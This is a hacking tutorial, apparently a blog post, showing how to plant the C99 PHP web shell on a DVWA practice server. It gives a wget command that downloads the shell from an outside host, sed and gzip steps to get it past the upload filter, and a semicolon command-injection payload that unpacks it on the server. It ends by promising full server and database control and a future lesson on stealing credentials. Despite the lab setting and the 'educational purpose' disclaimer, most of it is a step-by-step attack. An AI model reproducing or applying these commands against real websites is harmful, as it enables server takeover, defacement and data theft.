How to upload C99 PHP Shell Backdoor & Hack website

                                        Hello, friends after a long time - I'm posting website hacking tutorial using C99.php shell Backdoor. One of the most common method to hack website. So friends first of all This is for Educational purpose only. [Ethical Hacking]. Please learn & do it at your own risk, Second thing m using DVWA Penetration testing lab with Backtrack 5, So it will be comfortable - to perform hacking.

Requirements :
How to Upload C99.php (Shell) Backdoor ?
                  As you know guys - Websites don't allow us to upload PHP file on their server, so simply hackers uses many ways to upload Shell on Server & if once shell uploaded - then complete website, Server, Database will be hacked. Commonly hackers uses different types of Vulnerabilities in websites to upload Shell such as Command Execution, XSS, SQL Injection, LFI, RFI upload vulnerability. So here today m gonna show you simple tutorial - How can you upload C99shell PHP backdoor on Website server using Command Execution and Upload Vulnerability. Please use OWASP BWA or DVWA Penetration testing lab. So Enjoy it.

Steps to Hack:

1. Start your DVWA, Keep security on "Low" level & Click on Upload.
2. Okay, now m using Backtrack 5- I'll also recommend you to use same OS.
3. Start Backtrack Terminal, and type mkdir -p /root/backdoor hit Enter Again type cd /root/backdoor & Hit Enter.
4. Now, it's time to download PHP Backdoor, type :
  • wget http://r57.gen.tr/shell/c99.rar (Hit Enter) & wait until it downloads C99.rar, Okay..! it's downloaded
  • Once again type ls -l c99.rar Hit Enter.
Click on Image to Enlarge it.

4. Okay - now we've to convert it into .gz & edit C99.php file to be executed 
    on DVWA Server, let's do some editing.
5. Go through below all commands :
  • unrar x c99.rar  (Hit Enter)
  • cp c99.php c99.php.bkp (Hit Enter)
  • head -1 c99.php (Hit Enter)
  • sed -i '1 s/^.*$/<?php/g' c99.php (Hit Enter)
  • head -1 c99.php (Hit Enter)
  • gzip c99.php (Hit Enter)
  • ls -l (Hit Enter)
6. Click on Below Image to Enlarge it & See commands :


7. You can see it in root folder we got new compressed c99.php.gz
8. Come-on back to DVWA - Upload  and upload c99.php.gz file, simply we 
    can't upload C99.php shell so we'll use evil mind. 

Click on Image to Enlarge it

9. Now, locate that file into web browser - Basically it will be at this location.
  • http://YOUR_DVWA_IP_ADDRESS/dvwa/hackable/uploads
  • Replace Green text with your DVWA lab IP Address as mine is :
  • http://192.168.32.128/dvwa/hackable/uploads

    Click on Image to Enlarge it
10. Well, it will not work until we get .php file so now the next target is to 
unzip that file and extract it into server. it's pretty cool : we'll use Command Execution techniques to Hack Website.

11. What is Command Execution : Command Execution is one of the most dangerous vulnerability that allows an attacker to send unwanted commands to web server and compromise server,database and files. It can also lead to Website Defacement, MySQL Shutdown, File Upload Vulnerabilities, Creating multiple vulnerabilities. 

12. So today we gonna execute our command on web server to unzip our file and finally we're done. Okay..! let's hack.

13. Click on Command Execution DVWA : & Send below command to Server :
  • YOUR_DVWA_IP; /bin/gunzip -v ../ ../hackable/uploads/c99.php
  • Replace Green text with your DVWA IP as mine is :
  • 192.168.32.128; /bin/gunzip -v ../ ../hackable/uploads/c99.php
  • And Click on Submit.
14. Well, now you'll get successfully message as shown in the below Image.

Click on Image to Enlarge it

15. Okay.! now once again locate upload directory, & you'll see that your compressed file in uncompressed. COOL.! Command Execution Rocks.

Click on Image to Enlarge it

16. Ok Click on it and you're done. Now complete Database, Server, Website, files, and all control is in your hand. Now do whatever you want to.

I'll teach some more techniques of C99.php shell how to get Database Passwords and All Credentials details. Stay tuned with us - Please share it. & Feel free to comment and let me know your problem.